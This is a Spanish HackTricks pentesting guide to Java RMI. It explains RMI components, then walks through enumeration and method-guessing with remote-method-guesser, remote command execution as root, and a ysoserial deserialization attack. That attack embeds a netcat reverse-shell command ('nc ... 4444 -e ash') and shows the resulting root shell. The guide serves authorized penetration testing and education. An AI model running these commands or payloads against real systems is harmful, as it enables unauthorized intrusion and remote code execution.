# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\ Obtén acceso hoy mismo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## Información básica _La Invocación Remota de Métodos de Java_, o _Java RMI_, es un mecanismo de _RPC_ orientado a objetos que permite que un objeto ubicado en una _máquina virtual de Java_ llame a métodos en un objeto ubicado en otra _máquina virtual de Java_. Esto permite a los desarrolladores escribir aplicaciones distribuidas utilizando un paradigma orientado a objetos. Una breve introducción a _Java RMI_ desde una perspectiva ofensiva se puede encontrar en [esta charla de blackhat](https://youtu.be/t\_aw1mDNhzI?t=202). **Puerto predeterminado:** 1090,1098,1099,1199,4443-4446,8999-9010,9999 ``` PORT STATE SERVICE VERSION 1090/tcp open ssl/java-rmi Java RMI 9010/tcp open java-rmi Java RMI 37471/tcp open java-rmi Java RMI 40259/tcp open ssl/java-rmi Java RMI ``` Por lo general, solo los componentes predeterminados de _Java RMI_ (el _Registro RMI_ y el _Sistema de Activación_) están vinculados a puertos comunes. Los objetos remotos que implementan la aplicación _RMI_ real suelen estar vinculados a puertos aleatorios, como se muestra en la salida anterior. A veces, _nmap_ tiene problemas para identificar servicios _RMI_ protegidos por _SSL_. Si encuentras un servicio _ssl_ desconocido en un puerto _RMI_ común, debes investigar más a fondo. ## Componentes de RMI En términos sencillos, _Java RMI_ permite a un desarrollador hacer que un objeto _Java_ esté disponible en la red. Esto abre un puerto _TCP_ donde los clientes pueden conectarse y llamar a métodos en el objeto correspondiente. A pesar de que esto suena simple, hay varios desafíos que _Java RMI_ necesita resolver: 1. Para despachar una llamada de método a través de _Java RMI_, los clientes necesitan conocer la dirección IP, el puerto de escucha, la clase o interfaz implementada y el `ObjID` del objeto objetivo (el `ObjID` es un identificador único y aleatorio que se crea cuando el objeto está disponible en la red. Se requiere porque _Java RMI_ permite que varios objetos escuchen en el mismo puerto _TCP_). 2. Los clientes remotos pueden asignar recursos en el servidor invocando métodos en el objeto expuesto. La máquina virtual de Java necesita realizar un seguimiento de qué recursos todavía están en uso y cuáles pueden ser recolectados por el recolector de basura. El primer desafío se resuelve mediante el _registro RMI_, que es básicamente un servicio de nombres para _Java RMI_. El _registro RMI_ en sí mismo también es un servicio _RMI_, pero la interfaz implementada y el `ObjID` son fijos y conocidos por todos los clientes _RMI_. Esto permite que los clientes _RMI_ consuman el registro _RMI_ solo conociendo el puerto _TCP_ correspondiente. Cuando los desarrolladores quieren hacer que sus objetos _Java_ estén disponibles en la red, generalmente los vinculan a un registro _RMI_. El registro almacena toda la información necesaria para conectarse al objeto (dirección IP, puerto de escucha, clase o interfaz implementada y valor `ObjID`) y la pone disponible bajo un nombre legible para los humanos (el "nombre vinculado"). Los clientes que desean consumir el servicio _RMI_ solicitan al registro _RMI_ el nombre vinculado correspondiente y el registro devuelve toda la información necesaria para conectarse. Por lo tanto, la situación es básicamente la misma que con un servicio _DNS_ ordinario. El siguiente ejemplo muestra un pequeño ejemplo: ```java import java.rmi.registry.Registry; import java.rmi.registry.LocateRegistry; import lab.example.rmi.interfaces.RemoteService; public class ExampleClient { private static final String remoteHost = "172.17.0.2"; private static final String boundName = "remote-service"; public static void main(String[] args) { try { Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name String response = ref.remoteMethod(); // Call a remote method } catch( Exception e) { e.printStackTrace(); } } } ``` El segundo de los desafíos mencionados se resuelve mediante el _Distributed Garbage Collector_ (_DGC_). Este es otro servicio _RMI_ con un valor de `ObjID` conocido y está disponible en prácticamente cada punto final de _RMI_. Cuando un cliente _RMI_ comienza a usar un servicio _RMI_, envía una información al _DGC_ de que el objeto remoto correspondiente está en uso. El _DGC_ puede entonces realizar un seguimiento del recuento de referencias y es capaz de limpiar los objetos no utilizados. Junto con el sistema de activación obsoleto, estos son los tres componentes predeterminados de _Java RMI_: 1. El _RMI Registry_ (`ObjID = 0`) 2. El sistema de activación (`ObjID = 1`) 3. El _Distributed Garbage Collector_ (`ObjID = 2`) Los componentes predeterminados de _Java RMI_ han sido vectores de ataque conocidos durante bastante tiempo y existen múltiples vulnerabilidades en versiones desactualizadas de _Java_. Desde la perspectiva de un atacante, estos componentes predeterminados son interesantes porque implementan clases/interfaces conocidas y es fácil interactuar con ellos. Esta situación es diferente para los servicios _RMI_ personalizados. Para llamar a un método en un objeto remoto, es necesario conocer de antemano la firma del método correspondiente. Sin conocer una firma de método existente, no hay forma de comunicarse con un servicio _RMI_. ## Enumeración de RMI [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) es un escáner de vulnerabilidades de _Java RMI_ que es capaz de identificar automáticamente vulnerabilidades comunes de _RMI_. Siempre que identifiques un punto final de _RMI_, deberías probarlo: ``` $ rmg enum 172.17.0.2 9010 [+] RMI registry bound names: [+] [+] - plain-server2 [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534] [+] - legacy-service [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206] [+] - plain-server [+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class) [+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] [+] [+] RMI server codebase enumeration: [+] [+] - http://iinsecure.dev/well-hidden-development-folder/ [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub [+] --> de.qtc.rmg.server.interfaces.IPlainServer [+] [+] RMI server String unmarshalling enumeration: [+] [+] - Caught ClassNotFoundException during lookup call. [+] --> The type java.lang.String is unmarshalled via readObject(). [+] Configuration Status: Outdated [+] [+] RMI server useCodebaseOnly enumeration: [+] [+] - Caught MalformedURLException during lookup call. [+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false). [+] Configuration Status: Non Default [+] [+] RMI registry localhost bypass enumeration (CVE-2019-2684): [+] [+] - Caught NotBoundException during unbind call (unbind was accepeted). [+] Vulnerability Status: Vulnerable [+] [+] RMI Security Manager enumeration: [+] [+] - Security Manager rejected access to the class loader. [+] --> The server does use a Security Manager. [+] Configuration Status: Current Default [+] [+] RMI server JEP290 enumeration: [+] [+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed). [+] Vulnerability Status: Non Vulnerable [+] [+] RMI registry JEP290 bypass enmeration: [+] [+] - Caught IllegalArgumentException after sending An Trinh gadget. [+] Vulnerability Status: Vulnerable [+] [+] RMI ActivationSystem enumeration: [+] [+] - Caught IllegalArgumentException during activate call (activator is present). [+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Client codebase enabled - Configuration Status: Non Default ``` La salida de la acción de enumeración se explica con más detalle en las [páginas de documentación](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) del proyecto. Dependiendo del resultado, debes intentar verificar las vulnerabilidades identificadas. Los valores `ObjID` mostrados por _remote-method-guesser_ se pueden utilizar para determinar el tiempo de actividad del servicio. Esto puede permitir identificar otras vulnerabilidades: ``` $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] [+] [+] ObjNum: -4004948013687638236 [+] UID: [+] Unique: 1442798173 [+] Time: 1640761503828 (Dec 29,2021 08:05) [+] Count: -32760 ``` ## Fuerza bruta en métodos remotos Incluso cuando no se han identificado vulnerabilidades durante la enumeración, los servicios _RMI_ disponibles aún podrían exponer funciones peligrosas. Además, a pesar de que la comunicación _RMI_ con los componentes predeterminados de _RMI_ está protegida por filtros de deserialización, cuando se trata de servicios _RMI_ personalizados, generalmente no se aplican dichos filtros. Por lo tanto, conocer las firmas de métodos válidos en los servicios _RMI_ es valioso. Desafortunadamente, _Java RMI_ no admite la enumeración de métodos en objetos remotos. Dicho esto, es posible forzar las firmas de métodos con herramientas como [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) o [rmiscout](https://github.com/BishopFox/rmiscout): ``` $ rmg guess 172.17.0.2 9010 [+] Reading method candidates from internal wordlist rmg.txt [+] 752 methods were successfully parsed. [+] Reading method candidates from internal wordlist rmiscout.txt [+] 2550 methods were successfully parsed. [+] [+] Starting Method Guessing on 3281 method signature(s). [+] [+] MethodGuesser is running: [+] -------------------------------- [+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists! [+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists! [+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists! [+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists! [+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists! [+] [6562 / 6562] [#####################################] 100% [+] done. [+] [+] Listing successfully guessed methods: [+] [+] - plain-server2 == plain-server [+] --> String execute(String dummy) [+] --> String system(String dummy, String[] dummy2) [+] - legacy-service [+] --> void logMessage(int dummy1, String dummy2) [+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode) [+] --> String login(java.util.HashMap dummy1) ``` Los métodos identificados pueden ser llamados de la siguiente manera: ``` $ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar [+] uid=0(root) gid=0(root) groups=0(root) ``` O puedes realizar ataques de deserialización de la siguiente manera: ``` $ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)" [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI endpoint... [+] [+] Using non primitive argument type java.lang.String on position 0 [+] Specified method signature is String execute(String dummy) [+] [+] Caught ClassNotFoundException during deserialization attack. [+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea. [+] Deserialization attack probably worked :) $ nc -vlp 4444 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45479. id uid=0(root) gid=0(root) groups=0(root) ``` Más información se puede encontrar en estos artículos: * [Atacando servicios Java RMI después de JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/) * [Adivinanza de métodos](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md) * [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [rmiscout](https://bishopfox.com/blog/rmiscout) Además de adivinar, también debes buscar en motores de búsqueda o en _GitHub_ la interfaz o incluso la implementación de un servicio _RMI_ encontrado. El nombre vinculado y el nombre de la clase o interfaz implementada pueden ser útiles aquí. ## Interfaces Conocidas [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) marca las clases o interfaces como `conocidas` si están listadas en la base de datos interna de servicios _RMI_ conocidos de la herramienta. En estos casos, puedes usar la acción `conocida` para obtener más información sobre el servicio _RMI_ correspondiente: ``` $ rmg enum 172.17.0.2 1090 | head -n 5 [+] RMI registry bound names: [+] [+] - jmxrmi [+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server) [+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585] $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html [+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter ``` ## Shodan * `port:1099 java` ## Herramientas * [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [rmiscout](https://github.com/BishopFox/rmiscout) * [BaRMIe](https://github.com/NickstaDB/BaRMIe) ## Comandos Automáticos de HackTricks ``` Protocol_Name: Java RMI #Protocol Abbreviation if there is one. Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one. Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out Entry_1: Name: Enumeration Description: Perform basic enumeration of an RMI service Command: rmg enum {IP} {PORT} ```
\ Utiliza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo impulsados por las herramientas comunitarias más avanzadas del mundo.\ Obtén acceso hoy mismo: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).